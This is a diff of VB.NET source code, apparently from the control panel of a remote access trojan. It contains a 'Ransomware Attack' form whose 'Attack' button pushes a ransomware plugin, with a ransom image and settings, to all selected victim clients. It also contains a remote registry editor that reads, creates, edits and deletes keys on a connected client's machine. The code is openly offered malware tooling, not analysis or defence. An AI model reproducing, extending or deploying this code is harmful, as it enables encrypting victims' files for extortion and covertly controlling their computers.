Guna2TextBox3.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox3.Location = New System.Drawing.Point(75, 41)
|
||||
Guna2TextBox3.Name = "Guna2TextBox3"
|
||||
Guna2TextBox3.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
Guna2TextBox3.PlaceholderForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox3.PlaceholderText = ""
|
||||
Guna2TextBox3.SelectedText = ""
|
||||
Guna2TextBox3.Size = New System.Drawing.Size(237, 21)
|
||||
Guna2TextBox3.TabIndex = 52
|
||||
'
|
||||
'Guna2GradientButton1
|
||||
'
|
||||
Guna2GradientButton1.BorderRadius = 4
|
||||
Guna2GradientButton1.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton1.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton1.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton1.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton1.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton1.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton1.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton1.Image = CType(resources.GetObject("Guna2GradientButton1.Image"), System.Drawing.Image)
|
||||
Guna2GradientButton1.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton1.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton1.Location = New System.Drawing.Point(3, 100)
|
||||
Guna2GradientButton1.Name = "Guna2GradientButton1"
|
||||
Guna2GradientButton1.Size = New System.Drawing.Size(319, 28)
|
||||
Guna2GradientButton1.TabIndex = 96
|
||||
Guna2GradientButton1.Text = "Attack"
|
||||
'
|
||||
'Guna2Panel1
|
||||
'
|
||||
Guna2Panel1.Controls.Add(Guna2TextBox1)
|
||||
Guna2Panel1.Controls.Add(Guna2GradientButton1)
|
||||
Guna2Panel1.Controls.Add(Label1)
|
||||
Guna2Panel1.Controls.Add(Guna2TextBox3)
|
||||
Guna2Panel1.Controls.Add(Label2)
|
||||
Guna2Panel1.Controls.Add(Guna2TextBox2)
|
||||
Guna2Panel1.Controls.Add(Label3)
|
||||
Guna2Panel1.Dock = System.Windows.Forms.DockStyle.Bottom
|
||||
Guna2Panel1.Location = New System.Drawing.Point(0, 164)
|
||||
Guna2Panel1.Name = "Guna2Panel1"
|
||||
Guna2Panel1.Size = New System.Drawing.Size(325, 141)
|
||||
Guna2Panel1.TabIndex = 97
|
||||
'
|
||||
'Ransomware
|
||||
'
|
||||
AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
AutoSizeMode = System.Windows.Forms.AutoSizeMode.GrowAndShrink
|
||||
BackColor = System.Drawing.Color.White
|
||||
ClientSize = New System.Drawing.Size(325, 327)
|
||||
Controls.Add(PictureBox1)
|
||||
Controls.Add(Guna2Panel1)
|
||||
Controls.Add(StatusStrip1)
|
||||
Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
|
||||
MaximizeBox = False
|
||||
MinimizeBox = False
|
||||
Name = "Ransomware"
|
||||
SizeGripStyle = System.Windows.Forms.SizeGripStyle.Hide
|
||||
Text = "Ransomware Attack"
|
||||
CType(PictureBox1, System.ComponentModel.ISupportInitialize).EndInit()
|
||||
StatusStrip1.ResumeLayout(False)
|
||||
StatusStrip1.PerformLayout()
|
||||
Guna2Panel1.ResumeLayout(False)
|
||||
Guna2Panel1.PerformLayout()
|
||||
ResumeLayout(False)
|
||||
PerformLayout()
|
||||
|
||||
End Sub
|
||||
|
||||
Friend WithEvents PictureBox1 As PictureBox
|
||||
Friend WithEvents Label1 As Label
|
||||
Friend WithEvents Label2 As Label
|
||||
Friend WithEvents Label3 As Label
|
||||
Friend WithEvents StatusStrip1 As StatusStrip
|
||||
Friend WithEvents ToolStripStatusLabel1 As ToolStripStatusLabel
|
||||
Friend WithEvents Guna2TextBox1 As Guna.UI2.WinForms.Guna2TextBox
|
||||
Friend WithEvents Guna2TextBox2 As Guna.UI2.WinForms.Guna2TextBox
|
||||
Friend WithEvents Guna2TextBox3 As Guna.UI2.WinForms.Guna2TextBox
|
||||
Friend WithEvents Guna2GradientButton1 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2Panel1 As Guna.UI2.WinForms.Guna2Panel
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,42 @@
|
||||
Imports System.Threading
|
||||
Public Class Ransomware
|
||||
|
||||
Dim Path As String
|
||||
Private Sub Ransomware_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
||||
ToolStripStatusLabel1.Text = "Selected [" & Main.Lv1.SelectedItems.Count & "]"
|
||||
Try
|
||||
Path = "Background.png"
|
||||
PictureBox1.Image = Image.FromFile(Path)
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub PictureBox1_MouseClick(sender As Object, e As MouseEventArgs) Handles PictureBox1.MouseClick
|
||||
Dim openFileDialog As OpenFileDialog = New OpenFileDialog()
|
||||
Dim openFileDialog2 As OpenFileDialog = openFileDialog
|
||||
openFileDialog2.Title = "Select Image"
|
||||
openFileDialog2.Filter = "(*.jpg;*.bmp;*.png)|*.jpg;*.bmp;*.png"
|
||||
Dim flag As Boolean = openFileDialog.ShowDialog() = DialogResult.OK
|
||||
If flag Then
|
||||
Path = openFileDialog.FileName
|
||||
PictureBox1.Image = Image.FromFile(Path)
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
|
||||
Dim result As Integer = MessageBox.Show("This Feature Is At Your Own Risk And I Am Not Responsible For Your Actions , Do You Want Continue ?", Text, MessageBoxButtons.YesNo)
|
||||
If result = DialogResult.Yes Then
|
||||
Try
|
||||
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Ransomware.dll") & SettingsHelper.SPL & "True" & SettingsHelper.SPL & Convert.ToBase64String(Compress(IO.File.ReadAllBytes(Path))) & SettingsHelper.SPL & Guna2TextBox1.Text & SettingsHelper.SPL & Guna2TextBox2.Text & SettingsHelper.SPL & Guna2TextBox3.Text)
|
||||
For Each C As Client In Main.GetSelectedClients
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Next
|
||||
MessageBox.Show("DONE!")
|
||||
Close()
|
||||
Catch ex As Exception
|
||||
MessageBox.Show(ex.Message)
|
||||
End Try
|
||||
End If
|
||||
End Sub
|
||||
End Class
|
||||
Generated
+292
@@ -0,0 +1,292 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()>
|
||||
Partial Class Registry
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()>
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()>
|
||||
Private Sub InitializeComponent()
|
||||
components = New System.ComponentModel.Container()
|
||||
Dim TreeNode1 As System.Windows.Forms.TreeNode = New System.Windows.Forms.TreeNode("HKEY_CLASSES_ROOT")
|
||||
Dim TreeNode2 As System.Windows.Forms.TreeNode = New System.Windows.Forms.TreeNode("HKEY_CURRENT_USER")
|
||||
Dim TreeNode3 As System.Windows.Forms.TreeNode = New System.Windows.Forms.TreeNode("HKEY_LOCAL_MACHINE")
|
||||
Dim TreeNode4 As System.Windows.Forms.TreeNode = New System.Windows.Forms.TreeNode("HKEY_USERS")
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Registry))
|
||||
StatusStrip1 = New System.Windows.Forms.StatusStrip()
|
||||
ToolStripProgressBar1 = New System.Windows.Forms.ToolStripProgressBar()
|
||||
ToolStripStatusLabel1 = New System.Windows.Forms.ToolStripStatusLabel()
|
||||
RGk = New System.Windows.Forms.TreeView()
|
||||
img = New System.Windows.Forms.ImageList(components)
|
||||
ListView1 = New System.Windows.Forms.ListView()
|
||||
ColumnHeader1 = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader)
|
||||
ColumnHeader2 = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader)
|
||||
ColumnHeader3 = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader)
|
||||
Timer1 = New System.Windows.Forms.Timer(components)
|
||||
Splitter1 = New System.Windows.Forms.Splitter()
|
||||
Guna2ContextMenuStrip2 = New Guna.UI2.WinForms.Guna2ContextMenuStrip()
|
||||
AddToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
RemoveToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
RefreshToolStripMenuItem2 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
Guna2ContextMenuStrip1 = New Guna.UI2.WinForms.Guna2ContextMenuStrip()
|
||||
ToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
NewValueToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
EditToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
DeleteToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
StatusStrip1.SuspendLayout()
|
||||
Guna2ContextMenuStrip2.SuspendLayout()
|
||||
Guna2ContextMenuStrip1.SuspendLayout()
|
||||
SuspendLayout()
|
||||
'
|
||||
'StatusStrip1
|
||||
'
|
||||
StatusStrip1.BackColor = System.Drawing.Color.White
|
||||
StatusStrip1.ImageScalingSize = New System.Drawing.Size(24, 24)
|
||||
StatusStrip1.Items.AddRange(New System.Windows.Forms.ToolStripItem() {ToolStripProgressBar1, ToolStripStatusLabel1})
|
||||
StatusStrip1.Location = New System.Drawing.Point(0, 328)
|
||||
StatusStrip1.Name = "StatusStrip1"
|
||||
StatusStrip1.Padding = New System.Windows.Forms.Padding(1, 0, 9, 0)
|
||||
StatusStrip1.Size = New System.Drawing.Size(636, 22)
|
||||
StatusStrip1.TabIndex = 5
|
||||
StatusStrip1.Text = "v"
|
||||
'
|
||||
'ToolStripProgressBar1
|
||||
'
|
||||
ToolStripProgressBar1.Name = "ToolStripProgressBar1"
|
||||
ToolStripProgressBar1.Size = New System.Drawing.Size(100, 16)
|
||||
'
|
||||
'ToolStripStatusLabel1
|
||||
'
|
||||
ToolStripStatusLabel1.ForeColor = System.Drawing.Color.Black
|
||||
ToolStripStatusLabel1.Name = "ToolStripStatusLabel1"
|
||||
ToolStripStatusLabel1.Size = New System.Drawing.Size(13, 17)
|
||||
ToolStripStatusLabel1.Text = ".."
|
||||
'
|
||||
'RGk
|
||||
'
|
||||
RGk.BackColor = System.Drawing.Color.White
|
||||
RGk.ContextMenuStrip = Guna2ContextMenuStrip2
|
||||
RGk.Dock = System.Windows.Forms.DockStyle.Left
|
||||
RGk.ForeColor = System.Drawing.Color.Black
|
||||
RGk.ImageIndex = 0
|
||||
RGk.ImageList = img
|
||||
RGk.Location = New System.Drawing.Point(0, 0)
|
||||
RGk.Name = "RGk"
|
||||
TreeNode1.ImageIndex = -2
|
||||
TreeNode1.Name = "HKEY_CLASSES_ROOT"
|
||||
TreeNode1.Text = "HKEY_CLASSES_ROOT"
|
||||
TreeNode2.ImageIndex = -2
|
||||
TreeNode2.Name = "HKEY_CURRENT_USER"
|
||||
TreeNode2.Text = "HKEY_CURRENT_USER"
|
||||
TreeNode3.ImageIndex = -2
|
||||
TreeNode3.Name = "HKEY_LOCAL_MACHINE"
|
||||
TreeNode3.Text = "HKEY_LOCAL_MACHINE"
|
||||
TreeNode4.ImageIndex = -2
|
||||
TreeNode4.Name = "HKEY_USERS"
|
||||
TreeNode4.Text = "HKEY_USERS"
|
||||
RGk.Nodes.AddRange(New System.Windows.Forms.TreeNode() {TreeNode1, TreeNode2, TreeNode3, TreeNode4})
|
||||
RGk.SelectedImageIndex = 0
|
||||
RGk.Size = New System.Drawing.Size(200, 328)
|
||||
RGk.TabIndex = 10
|
||||
'
|
||||
'img
|
||||
'
|
||||
img.ImageStream = CType(resources.GetObject("img.ImageStream"), System.Windows.Forms.ImageListStreamer)
|
||||
img.TransparentColor = System.Drawing.Color.Transparent
|
||||
img.Images.SetKeyName(0, "image0.png")
|
||||
img.Images.SetKeyName(1, "1.png")
|
||||
img.Images.SetKeyName(2, "2.png")
|
||||
'
|
||||
'ListView1
|
||||
'
|
||||
ListView1.BackColor = System.Drawing.Color.White
|
||||
ListView1.BorderStyle = System.Windows.Forms.BorderStyle.None
|
||||
ListView1.Columns.AddRange(New System.Windows.Forms.ColumnHeader() {ColumnHeader1, ColumnHeader2, ColumnHeader3})
|
||||
ListView1.ContextMenuStrip = Guna2ContextMenuStrip1
|
||||
ListView1.Dock = System.Windows.Forms.DockStyle.Fill
|
||||
ListView1.Font = New System.Drawing.Font("Tahoma", 8.0!)
|
||||
ListView1.ForeColor = System.Drawing.Color.Black
|
||||
ListView1.FullRowSelect = True
|
||||
ListView1.HeaderStyle = System.Windows.Forms.ColumnHeaderStyle.Nonclickable
|
||||
ListView1.HideSelection = False
|
||||
ListView1.Location = New System.Drawing.Point(200, 0)
|
||||
ListView1.Name = "ListView1"
|
||||
ListView1.Size = New System.Drawing.Size(436, 328)
|
||||
ListView1.SmallImageList = img
|
||||
ListView1.TabIndex = 11
|
||||
ListView1.UseCompatibleStateImageBehavior = False
|
||||
ListView1.View = System.Windows.Forms.View.Details
|
||||
'
|
||||
'ColumnHeader1
|
||||
'
|
||||
ColumnHeader1.Text = "[ Name ]"
|
||||
ColumnHeader1.Width = 105
|
||||
'
|
||||
'ColumnHeader2
|
||||
'
|
||||
ColumnHeader2.Text = "[ Type ]"
|
||||
ColumnHeader2.Width = 125
|
||||
'
|
||||
'ColumnHeader3
|
||||
'
|
||||
ColumnHeader3.Text = "[ Value ]"
|
||||
ColumnHeader3.Width = 131
|
||||
'
|
||||
'Timer1
|
||||
'
|
||||
Timer1.Enabled = True
|
||||
Timer1.Interval = 1000
|
||||
'
|
||||
'Splitter1
|
||||
'
|
||||
Splitter1.BackColor = System.Drawing.Color.White
|
||||
Splitter1.Location = New System.Drawing.Point(200, 0)
|
||||
Splitter1.Name = "Splitter1"
|
||||
Splitter1.Size = New System.Drawing.Size(3, 328)
|
||||
Splitter1.TabIndex = 12
|
||||
Splitter1.TabStop = False
|
||||
'
|
||||
'Guna2ContextMenuStrip2
|
||||
'
|
||||
Guna2ContextMenuStrip2.Items.AddRange(New System.Windows.Forms.ToolStripItem() {RefreshToolStripMenuItem2, AddToolStripMenuItem1, RemoveToolStripMenuItem1})
|
||||
Guna2ContextMenuStrip2.Name = "Guna2ContextMenuStrip2"
|
||||
Guna2ContextMenuStrip2.RenderStyle.ArrowColor = System.Drawing.Color.FromArgb(CType(CType(151, Byte), Integer), CType(CType(143, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2ContextMenuStrip2.RenderStyle.BorderColor = System.Drawing.Color.Gainsboro
|
||||
Guna2ContextMenuStrip2.RenderStyle.ColorTable = Nothing
|
||||
Guna2ContextMenuStrip2.RenderStyle.RoundedEdges = True
|
||||
Guna2ContextMenuStrip2.RenderStyle.SelectionArrowColor = System.Drawing.Color.White
|
||||
Guna2ContextMenuStrip2.RenderStyle.SelectionBackColor = System.Drawing.Color.FromArgb(CType(CType(113, Byte), Integer), CType(CType(74, Byte), Integer), CType(CType(250, Byte), Integer))
|
||||
Guna2ContextMenuStrip2.RenderStyle.SelectionForeColor = System.Drawing.Color.White
|
||||
Guna2ContextMenuStrip2.RenderStyle.SeparatorColor = System.Drawing.Color.Gainsboro
|
||||
Guna2ContextMenuStrip2.RenderStyle.TextRenderingHint = System.Drawing.Text.TextRenderingHint.ClearTypeGridFit
|
||||
Guna2ContextMenuStrip2.Size = New System.Drawing.Size(142, 70)
|
||||
'
|
||||
'AddToolStripMenuItem1
|
||||
'
|
||||
AddToolStripMenuItem1.BackColor = System.Drawing.Color.White
|
||||
AddToolStripMenuItem1.Image = CType(resources.GetObject("AddToolStripMenuItem1.Image"), System.Drawing.Image)
|
||||
AddToolStripMenuItem1.Name = "AddToolStripMenuItem1"
|
||||
AddToolStripMenuItem1.Size = New System.Drawing.Size(141, 22)
|
||||
AddToolStripMenuItem1.Text = "[ CreateKey ]"
|
||||
'
|
||||
'RemoveToolStripMenuItem1
|
||||
'
|
||||
RemoveToolStripMenuItem1.BackColor = System.Drawing.Color.White
|
||||
RemoveToolStripMenuItem1.Image = CType(resources.GetObject("RemoveToolStripMenuItem1.Image"), System.Drawing.Image)
|
||||
RemoveToolStripMenuItem1.Name = "RemoveToolStripMenuItem1"
|
||||
RemoveToolStripMenuItem1.Size = New System.Drawing.Size(141, 22)
|
||||
RemoveToolStripMenuItem1.Text = "[ DeleteKey ]"
|
||||
'
|
||||
'RefreshToolStripMenuItem2
|
||||
'
|
||||
RefreshToolStripMenuItem2.BackColor = System.Drawing.Color.White
|
||||
RefreshToolStripMenuItem2.Image = CType(resources.GetObject("RefreshToolStripMenuItem2.Image"), System.Drawing.Image)
|
||||
RefreshToolStripMenuItem2.Name = "RefreshToolStripMenuItem2"
|
||||
RefreshToolStripMenuItem2.Size = New System.Drawing.Size(141, 22)
|
||||
RefreshToolStripMenuItem2.Text = "[ Refresh ]"
|
||||
'
|
||||
'Guna2ContextMenuStrip1
|
||||
'
|
||||
Guna2ContextMenuStrip1.Items.AddRange(New System.Windows.Forms.ToolStripItem() {ToolStripMenuItem1, NewValueToolStripMenuItem1, EditToolStripMenuItem1, DeleteToolStripMenuItem1})
|
||||
Guna2ContextMenuStrip1.Name = "Guna2ContextMenuStrip2"
|
||||
Guna2ContextMenuStrip1.RenderStyle.ArrowColor = System.Drawing.Color.FromArgb(CType(CType(151, Byte), Integer), CType(CType(143, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2ContextMenuStrip1.RenderStyle.BorderColor = System.Drawing.Color.Gainsboro
|
||||
Guna2ContextMenuStrip1.RenderStyle.ColorTable = Nothing
|
||||
Guna2ContextMenuStrip1.RenderStyle.RoundedEdges = True
|
||||
Guna2ContextMenuStrip1.RenderStyle.SelectionArrowColor = System.Drawing.Color.White
|
||||
Guna2ContextMenuStrip1.RenderStyle.SelectionBackColor = System.Drawing.Color.FromArgb(CType(CType(113, Byte), Integer), CType(CType(74, Byte), Integer), CType(CType(250, Byte), Integer))
|
||||
Guna2ContextMenuStrip1.RenderStyle.SelectionForeColor = System.Drawing.Color.White
|
||||
Guna2ContextMenuStrip1.RenderStyle.SeparatorColor = System.Drawing.Color.Gainsboro
|
||||
Guna2ContextMenuStrip1.RenderStyle.TextRenderingHint = System.Drawing.Text.TextRenderingHint.ClearTypeGridFit
|
||||
Guna2ContextMenuStrip1.Size = New System.Drawing.Size(181, 114)
|
||||
'
|
||||
'ToolStripMenuItem1
|
||||
'
|
||||
ToolStripMenuItem1.BackColor = System.Drawing.Color.White
|
||||
ToolStripMenuItem1.Image = CType(resources.GetObject("ToolStripMenuItem1.Image"), System.Drawing.Image)
|
||||
ToolStripMenuItem1.Name = "ToolStripMenuItem1"
|
||||
ToolStripMenuItem1.Size = New System.Drawing.Size(140, 22)
|
||||
ToolStripMenuItem1.Text = "[ Refresh ]"
|
||||
'
|
||||
'NewValueToolStripMenuItem1
|
||||
'
|
||||
NewValueToolStripMenuItem1.BackColor = System.Drawing.Color.White
|
||||
NewValueToolStripMenuItem1.Image = CType(resources.GetObject("NewValueToolStripMenuItem1.Image"), System.Drawing.Image)
|
||||
NewValueToolStripMenuItem1.Name = "NewValueToolStripMenuItem1"
|
||||
NewValueToolStripMenuItem1.Size = New System.Drawing.Size(180, 22)
|
||||
NewValueToolStripMenuItem1.Text = "[ NewValue ]"
|
||||
'
|
||||
'EditToolStripMenuItem1
|
||||
'
|
||||
EditToolStripMenuItem1.BackColor = System.Drawing.Color.White
|
||||
EditToolStripMenuItem1.Image = CType(resources.GetObject("EditToolStripMenuItem1.Image"), System.Drawing.Image)
|
||||
EditToolStripMenuItem1.Name = "EditToolStripMenuItem1"
|
||||
EditToolStripMenuItem1.Size = New System.Drawing.Size(180, 22)
|
||||
EditToolStripMenuItem1.Text = "[ Edit ]"
|
||||
'
|
||||
'DeleteToolStripMenuItem1
|
||||
'
|
||||
DeleteToolStripMenuItem1.BackColor = System.Drawing.Color.White
|
||||
DeleteToolStripMenuItem1.Image = CType(resources.GetObject("DeleteToolStripMenuItem1.Image"), System.Drawing.Image)
|
||||
DeleteToolStripMenuItem1.Name = "DeleteToolStripMenuItem1"
|
||||
DeleteToolStripMenuItem1.Size = New System.Drawing.Size(180, 22)
|
||||
DeleteToolStripMenuItem1.Text = "[ Delete ]"
|
||||
'
|
||||
'Registry
|
||||
'
|
||||
AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
BackColor = System.Drawing.Color.White
|
||||
ClientSize = New System.Drawing.Size(636, 350)
|
||||
Controls.Add(Splitter1)
|
||||
Controls.Add(ListView1)
|
||||
Controls.Add(RGk)
|
||||
Controls.Add(StatusStrip1)
|
||||
Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
|
||||
Name = "Registry"
|
||||
Text = "Registry Editor"
|
||||
StatusStrip1.ResumeLayout(False)
|
||||
StatusStrip1.PerformLayout()
|
||||
Guna2ContextMenuStrip2.ResumeLayout(False)
|
||||
Guna2ContextMenuStrip1.ResumeLayout(False)
|
||||
ResumeLayout(False)
|
||||
PerformLayout()
|
||||
|
||||
End Sub
|
||||
|
||||
Friend WithEvents StatusStrip1 As StatusStrip
|
||||
Friend WithEvents ToolStripStatusLabel1 As ToolStripStatusLabel
|
||||
Friend WithEvents RGk As TreeView
|
||||
Friend WithEvents img As ImageList
|
||||
Friend WithEvents ListView1 As ListView
|
||||
Friend WithEvents ColumnHeader1 As ColumnHeader
|
||||
Friend WithEvents ColumnHeader2 As ColumnHeader
|
||||
Friend WithEvents ColumnHeader3 As ColumnHeader
|
||||
Friend WithEvents Timer1 As Timer
|
||||
Friend WithEvents Splitter1 As Splitter
|
||||
Friend WithEvents ToolStripProgressBar1 As ToolStripProgressBar
|
||||
Friend WithEvents Guna2ContextMenuStrip2 As Guna.UI2.WinForms.Guna2ContextMenuStrip
|
||||
Friend WithEvents RefreshToolStripMenuItem2 As ToolStripMenuItem
|
||||
Friend WithEvents AddToolStripMenuItem1 As ToolStripMenuItem
|
||||
Friend WithEvents RemoveToolStripMenuItem1 As ToolStripMenuItem
|
||||
Friend WithEvents Guna2ContextMenuStrip1 As Guna.UI2.WinForms.Guna2ContextMenuStrip
|
||||
Friend WithEvents ToolStripMenuItem1 As ToolStripMenuItem
|
||||
Friend WithEvents NewValueToolStripMenuItem1 As ToolStripMenuItem
|
||||
Friend WithEvents EditToolStripMenuItem1 As ToolStripMenuItem
|
||||
Friend WithEvents DeleteToolStripMenuItem1 As ToolStripMenuItem
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,146 @@
|
||||
Imports System.Runtime.CompilerServices
|
||||
Imports System.Threading
|
||||
Public Class Registry
|
||||
|
||||
Public C As Client
|
||||
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
|
||||
Try
|
||||
If Not C.IsConnected Then
|
||||
Close()
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub RGk_DoubleClick(sender As Object, e As EventArgs) Handles RGk.DoubleClick
|
||||
If (Not RGk.SelectedNode Is Nothing) Then
|
||||
|
||||
Dim B As Byte() = SB("RG" & SettingsHelper.SPL & "~" & SettingsHelper.SPL & RGk.SelectedNode.FullPath & "\" & SettingsHelper.SPL)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
|
||||
ToolStripStatusLabel1.ForeColor = Color.Black
|
||||
ToolStripStatusLabel1.Text = "Wait.."
|
||||
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub ListView1_DoubleClick(sender As Object, e As EventArgs) Handles ListView1.DoubleClick
|
||||
If (ListView1.SelectedItems.Count <> 0) Then
|
||||
Dim item As ListViewItem = ListView1.SelectedItems.Item(0)
|
||||
Dim gv As New EditReg
|
||||
gv.Path = (RGk.SelectedNode.FullPath & "\")
|
||||
gv.C = C
|
||||
gv.Guna2TextBox1.Text = item.Text
|
||||
gv.Guna2ComboBox1.SelectedIndex = gv.Guna2ComboBox1.Items.IndexOf(item.SubItems.Item(1).Text)
|
||||
Try
|
||||
gv.Guna2TextBox3.Text = item.SubItems.Item(2).Text
|
||||
Catch exception1 As Exception
|
||||
Dim exception As Exception = exception1
|
||||
End Try
|
||||
gv.Text = gv.Path
|
||||
gv.Guna2TextBox1.ReadOnly = True
|
||||
gv.ShowDialog(Me)
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub ListView1_KeyDown(sender As Object, e As KeyEventArgs) Handles ListView1.KeyDown
|
||||
Try
|
||||
If e.Modifiers = Keys.Control AndAlso e.KeyCode = Keys.A Then
|
||||
If ListView1.Items.Count > 0 Then
|
||||
For Each x As ListViewItem In ListView1.Items
|
||||
x.Selected = True
|
||||
Next
|
||||
End If
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Registry_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
|
||||
Dim B As Byte() = SB("CloseRegistry")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub RefreshToolStripMenuItem2_Click(sender As Object, e As EventArgs) Handles RefreshToolStripMenuItem2.Click
|
||||
If (Not RGk.SelectedNode Is Nothing) Then
|
||||
|
||||
Dim B As Byte() = SB("RG" & SettingsHelper.SPL & "~" & SettingsHelper.SPL & RGk.SelectedNode.FullPath & "\")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
|
||||
ToolStripStatusLabel1.ForeColor = Color.Black
|
||||
ToolStripStatusLabel1.Text = "Wait.."
|
||||
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub AddToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles AddToolStripMenuItem1.Click
|
||||
If ((Not RGk.SelectedNode Is Nothing) AndAlso RGk.SelectedNode.FullPath.Contains("\")) Then
|
||||
Dim str As String = Interaction.InputBox("Key Name?", "Create New Key", "Name", -1, -1)
|
||||
If (str.Length <> 0) Then
|
||||
Dim B As Byte() = SB("RG" & SettingsHelper.SPL & "#" & SettingsHelper.SPL & RGk.SelectedNode.FullPath & "\" & SettingsHelper.SPL & str)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub RemoveToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles RemoveToolStripMenuItem1.Click
|
||||
If (Not RGk.SelectedNode Is Nothing) Then
|
||||
Dim fullPath As String = RGk.SelectedNode.FullPath
|
||||
If fullPath.Contains("\") Then
|
||||
Dim str2 As String = Strings.Split(fullPath, "\", -1, CompareMethod.Binary)((Strings.Split(fullPath, "\", -1, CompareMethod.Binary).Length - 1))
|
||||
Dim str3 As String = ""
|
||||
Dim num2 As Integer = (Strings.Split(fullPath, "\", -1, CompareMethod.Binary).Length - 2)
|
||||
Dim i As Integer = 0
|
||||
Do While (i <= num2)
|
||||
str3 = (str3 & Strings.Split(fullPath, "\", -1, CompareMethod.Binary)(i) & "\")
|
||||
i += 1
|
||||
Loop
|
||||
Dim B As Byte() = SB("RG" & SettingsHelper.SPL & "$" & SettingsHelper.SPL & str3 & SettingsHelper.SPL & str2)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
RGk.SelectedNode.Remove()
|
||||
End If
|
||||
End If
|
||||
End Sub
|
||||
|
||||
